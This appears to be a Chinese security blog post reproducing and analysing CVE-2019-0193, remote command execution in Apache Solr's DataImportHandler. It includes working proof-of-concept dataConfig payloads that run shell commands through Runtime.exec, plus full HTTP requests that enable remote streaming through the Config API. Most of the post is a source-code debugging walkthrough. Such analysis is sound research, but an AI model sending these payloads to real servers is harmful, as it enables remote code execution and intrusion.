[CVE-2019-0193] – Apache Solr DataImport 远程命令执行分析

0x00 前言

Solr 是一个基于 Apache Lucene 之上的搜索服务器,它是一个开源的、基于 Java 的信息检索库。它旨在驱动功能强大的文档检索应用程序 - 无论您需要根据用户的查询将数据服务到何处,Solr 都可以来进行服务

Apache Solr 的 DataImportHandler是一个可选但常用的模块,可从数据库(通过JDBC)、RSS、Web 页面和文件中导入数据,并且可根据配置文件中的脚本对获取的数据进行特定的转换,同时这个模块的配置文件不仅可以在服务端中通过配置文件指定,也可以从用户请求的 dataConfig 中获取,由于 dataConfig 可以包含脚本而且没有对脚本的内容进行控制从而导致被恶意利用

image-20211009132737516

0x01 漏洞利用

影响版本:Apache Solr 1.3 - 8.2,

利用条件:开启 DataImportHandler (默认情况为不开启)

漏洞介绍

Solr有一个可选的DataImportHandler,用于从数据库或URL导入数据,它可以在 dataConfig 参数的脚本标签中包含任意的 JavaScript 代码,这些代码会在Solr导入每个文档时进行执行

主要分为以下两情况:

1.需要目标出网:利用 URLDataSource 可回显

2.目标不需要出网且需要利用 Config API:利用 ContentStreamDataSource 可回显

漏洞利用

1.【目标出网】利用 URLDataSource 结果可回显

Step1:

创建 demo.xml 并放置在服务器下

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

例子如下:

image-20210924224155620

Step2:

ps:url 修改为自己上面开的地址

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://localhost:8088/demo.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

执行结果如下:

可以看到命令执行结果成功回显

image-20210924224644263

当然了上面的 Step1 也可以省略,可以直接利用 stackoverflow 上的文件,同样可以达到命令执行目的

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

image-20210924224941495

2.【不出网, 低版本不适用】利用 ContentStreamDataSource 可回显

PS: 需要借助 Config API 因此 Solr 5 以下不适用

Step1

利用 Config API 修改 configoverlay.json 文件中的配置 以启用远程流的相关选项 .enableStreamBody .enableRemoteStreaming

修改 test 为对应的核心名

POST /solr/test/config HTTP/1.1
Host: localhost:8983
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Referer: http://localhost:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 161

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}

Step2

POST /solr/test/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%6c%73%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: localhost:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8983/solr/
Content-Length: 214
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f

--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"

<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>

--------------------------aceb88c2159f183f--

执行结果如下

image-20210924232410066

以下是 URL 解码后的 Payload

<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />

  <script><![CDATA[
          function poc(row){
 var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));

var result = [];

while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}

row.put("title",result.join("\n\r"));
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>

0x02 漏洞分析

Solr 从外部数据源中获取数据的时候是根据 dataConfig (配置信息)来进行获取的,同时也可以根据配置信息中的脚本对获取到的数据进行逐行转化

Poc 分析

Solr 支持 Dataimport 从外部导入数据, 不过 dataconfig 需要满足一定的语法

具体可参考:https://solr.apache.org/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html

之前在漏洞复现的时候就一直在想, 这个 Poc 是如何构造出来的,在查看了官方文档之后才逐渐清楚

首先我们看到下面的 Poc 主要有三部分组成:DataSource、script、document

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(row){ 
            var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
            var result = [];
            while(true) {
              var oneline = bufReader.readLine();
              result.push( oneline );
              if(!oneline) break; 
            }
            row.put("title",result.join("\n\r")); 
            return row;
          }
  ]]></script>
  <document>
    <entity name="whatever"
            url="http://localhost:8088/demo.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>
</dataConfig>

DataSource 部分

DataSource 有很多类型不仅仅是 URLDataSource

JdbcDataSource:数据库源

URLDataSource/HttpDataSource:DataImportHandler 可从基于 HTTP 的数据源来索引数据,包含了来自使用 REST/XML 以及 RSS/ATOM

FileDataSource:从磁盘文件获取数据源

FieldReaderDataSource:如果字段包含xml信息时,可以使用这个配合XPathEntityProcessor使用

ContentStreamDataSource:使用post数据作为数据源,可与任何 EntityProcessor 配合使用

script 部分

脚本部分可以是 Javascript 也可以是其他 Java 支持的脚本语言,同时官方文档中规定我们的函数必须要接受一个类型为 Map<String,Object> 的 row 变量,并且函数最后要返回,所以这就是为什么我们需要传入 row

image-20211009144616435

document 部分

由于我们的数据源为 XML/HTTP 所以我们的 entity 还必须要有 processor、url、forEach 字段,同时 processor 的值必须为 XPathEntityProcessor

详情可参考官方文档:https://cwiki.apache.org/confluence/display/SOLR/DataImportHandler

image-20211008174258119

所以这就是为什么我们的 poc 中存在以下这些字段

  <document>
    <entity name="whatever"
            url="http://localhost:8088/demo.xml"
            processor="XPathEntityProcessor"
            forEach="/RDF/item"
            transformer="script:poc" />
  </document>

漏洞分析

调试环境:Solr 4.4 + Tomcat

首先我们需要定位到 solr 处理 Dataimport 请求所用的方法,由于问题出在了 /dataimport,所以我们来到源码中的 DataImportHandler 类,通过 Command+F12 查看该类的方法,同时 payload 在发送过程中在请求包的 Body 中,所以我们需要寻找该类中处理请求 Body 的函数,根据函数名能很快定位到 handleRequestBody 方法

image-20211007093937597

漏洞利用的请求包如下

image-20211007133744484

在 handleRequestBody 中首先会根据我们请求参数的 command 的不同来进入不同的判断,根据上图的 payload 可看出我们的 command 为 full-import

这里的 full-import 是 DataImportHandler Commands 的其中一种操作,意味着数据全量导入

详情可参见:solr 文档的 Commands 部分 https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-Overview

由于我们的 command 是 full-import 因此来到了 else 语句结构 ,首先会来到 maybeReloadConfiguration 函数,该函数会重新加载我们的配置,我们跟进该函数

image-20211008151105421

来到 DataImporter#maybeReloadConfiguration ,首先这里的 params 就是 post 中 body 的内容

在该函数中首先会判断参数是否为 null ,如果不为 null 的话就会获取我们的参数然后传递给 loadDataConfig 函数

image-20211008151653777

来到 DataImporter#loadDataConfig,这里首先会实例化一个 DocumentBuilderFactory ,并将 configFile 解析成 document,然后将 document 交给 readFromXml 来进行处理

image-20211009100456827

跟进 DataImporter#readFromXml ,在该函数中首先会通过迭代器对文档中的标签进行迭代解析,我们自定义的脚本也会在这里传给 script 变量

image-20211008152420329

解析完所有标签之后,就会将这些作为参数传入 DIHConfiguration 的构造函数,返回 DIHConfiguration 对象并赋值给了 this.config 属性

image-20211008110206441

image-20211009112737333

image-20211009100833310

至此配置重新加载完毕

接下来回到 DataImportHandler#handleRequestBody ,来到下图红框处,由于漏洞利用时开启了 Debug,所以会进入判断来到 runCmd 函数处

image-20211008110445787

跟进 DataImporter#runCmd 函数,该函数的逻辑其实就是根据我们传入的 command 来进行不同的处理

abort 就是终止当前操作,doDeltaImport 是数据增量导入,由于这里我们是 full-import,也就是全量导入所以来到 else 这边 调用 doFullImport 函数

详情可参见:solr 文档的 Commands 部分 https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-Overview

image-20211007134751574

跟进 DataImporter#doFullImport 方法

在该方法中首先会创建一个 DocBuilder 对象,DocBuilder 的主要功能是从给定配置中创建 Solr 文档,同时会记录一些状态信息。

接下来调用了 docBuilder 的 execute 方法,跟进该方法

image-20211007135630502

在 DocBuilder#execute 方法中,会先通过调用 getConfig 获取我们之前重新加载的配置,然后赋值给 this.config,接下来就会对 this.config 进行遍历解析

image-20211009101117508

还是在 DocBuilder#execute 方法中,会先通过 this.dataImporter.getStatus() 来判断我们的数据导入是全量导入还是增量导入,由于我们这里是增量导入,所以来到 else 判断,跟进 doFullDump 函数

image-20211009101539541

在 DocBuilder#doFullDump 函数中,会调用 buildDocument ,该方法会为发送的数据配置一个 Processors 来对实例进行解析,当发送的 entity 中含有 Transformer 的时候就会进行对应的转换,例如转换成日期格式 (DateFormatTransformer)、根据正则表达式转换(RegexTransformer) 等,跟进 buildDocument 方法

image-20211008113222348

这里的 this.currentEntityProcessorWrapper 也就是之前设置的 EntityProcessorWrapper epw

image-20211009101643069

这里说一下我对 EntityProcessorWrapper 的理解,因为在分析过程中 EntityProcessorWrapper 困扰了我很久(如果我理解有偏差欢迎师傅们帮忙指正)

EntityProcessorWrapper 官方文档的解释:EntityProcessorWrapper 是 EntityProcessor实例的一个封装器,它可以执行转换并正确处理多行输出

我个人的理解是 EntityProcessorWrapper 能对实例进行解析,并且可通过 loadTransformers 方法来对数据进行转化,并能处理多行的数据,就像我们poc中那样,我们每获取到一行就会调用 script 中的脚本来对获取到的数据进行转化这个功能的实现和 EntityProcessorWrapper 是分不开的

在 DocBuilder#buildDocument 中,首先会对 epw 进行初始化,跟进 init 方法

image-20211008140830122

在 XPathEntityProcessor#init 中,该函数通过调用 getDataSource 方法来获取 DataSource,我们 Poc 中的 DataSource 为 URLDataSource,因此这里的 this.dataSource 就是 URLDataSource

image-20211008140934508

在 ContextImpl#getDataSource 方法中,会调用 setDataSource 来进行 datasource 的属性设置

image-20211008141345479

这里可以看到 setDatasource 函数接受的参数类型是 DataSource,也就是说 this.dataImporter.getDataSourceInstance 返回为 DataSource 对象

image-20211009102400619

在 DataImporter#getDataSourceInstance 方法中,这里的 key 就是我们 poc 中的 enetity 部分

然后通过 this.config.getDataSources().get(name) 获取到 type -> URLDataSource 并赋值给 p ,然后调用 p.get("type") 获取到 URLDataSource 并赋值给 type ,但是这里可以看到获取到的 type 为 URLDataSource 并非是全限定类名,这里直接通过 DocBuilder.loadClass 来对类进行了加载,跟进 loadClass

image-20211008154618628

跟进 findClass 函数

image-20211009103656491

来到 SolrResourceLoader#findClass ,发现会根据 URLDataSource 在 classNameCache 中获取到对应的全限定类名,然后利用反射进行加载

image-20211008142208023

至此 epw 初始化结束

接下来会回到 DocBuilder#buildDocument 函数,调用了 nextRow 函数来获取 EntityProcessorWrapper 的每一个元素,返回的类型是 Map

image-20211008155224333

最终会在 URLDataSource#getData 中,请求我们指定的URL来进行请求

image-20211008155552952

获取完数据之后会调用 EntityProcessorWrapper#applyTransformer 来对数据进行转换

image-20211008155758573

来到 EntityProcessorWrapper#applyTransformer 函数,在转换之前会调用 loadTransformers 来加载转换器

image-20211007222833708

来到 EntityProcessorWrapper#loadTransformers 函数中,如果转换器名字为 script: 开头,那么就代表着使用脚本转换器,这也就是为什么 poc 中 Entity 部分要有这样的一条属性 transformer="script:poc ,接下来就会创建 scriptTransformer 对象,取出 poc 中 script 标签内对函数名并进行设置,

image-20211008160013087

载入转换器之后,执行 transformRow 方法

image-20211008160345035

在 ScriptTransformer#transformRow 方法中,首先会进行脚本引擎的初始化

image-20211007222923628

在初始化时会调用 eval 执行 js 代码,但是由于这里是函数定义,相当于创建了 poc 函数但是并没有调用该函数,所以这里我们函数中的java.lang.Runtime 并没有触发

image-20211007212444357

最后通过反射调用了函数,从而触发了我们的恶意代码

image-20211008143452209

最终执行结果如下:

image-20211008161918936

0x03 个人思考

至此上面就对漏洞分析完了,不过在过程中我也存在几个疑问

  1. poc 回显语句中利用了 row.put("title",result.join("\n\r")); 当我将 title 换成其他名称的时候发现回显失效了

查阅官方文档发现,data-config.xml 与 schema 存在关联,每个 field 对应每个 column 出现在实体查询的结果集中,那么也就是说只有在 schema 中出现的 field 才会出现在返回的结果中?

image-20211009151338245

打开 schema.xml ,poc中利用的是 title 那么将其换成其他的是否可以

image-20211009152036610

结果发现是可以的

image-20211009152140884

测试了一个不存在在 schema 的 filed 中的试试看,发现执行结果没有回显

image-20211009152219785

  1. 能否进一步利用,例如注入内存马

在查阅资料的时候看到了 Longofo 师傅提到可以利用 JNDI 注入,那么既然可以 JNDI 注入我觉得只要在 java 版本符合的情况下也是可以进行内存马注入的

测了下回显发现可以的,内存马的话由于本文篇幅太长了就不介绍了原理也是相同的

image-20211009153825422

0x04 参考链接

https://cwiki.apache.org/confluence/display/SOLR/DataImportHandler

https://solr.apache.org/guide/6_6/getting-started.html

https://github.com/veracode-research/solr-injection/blob/master/README.md#2-cve-2019-0192-deserialization-of-untrusted-data-via-jmxserviceurl

https://xz.aliyun.com/t/5965#toc-5

https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA

https://paper.seebug.org/1009/#solr-dataimporthandler

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇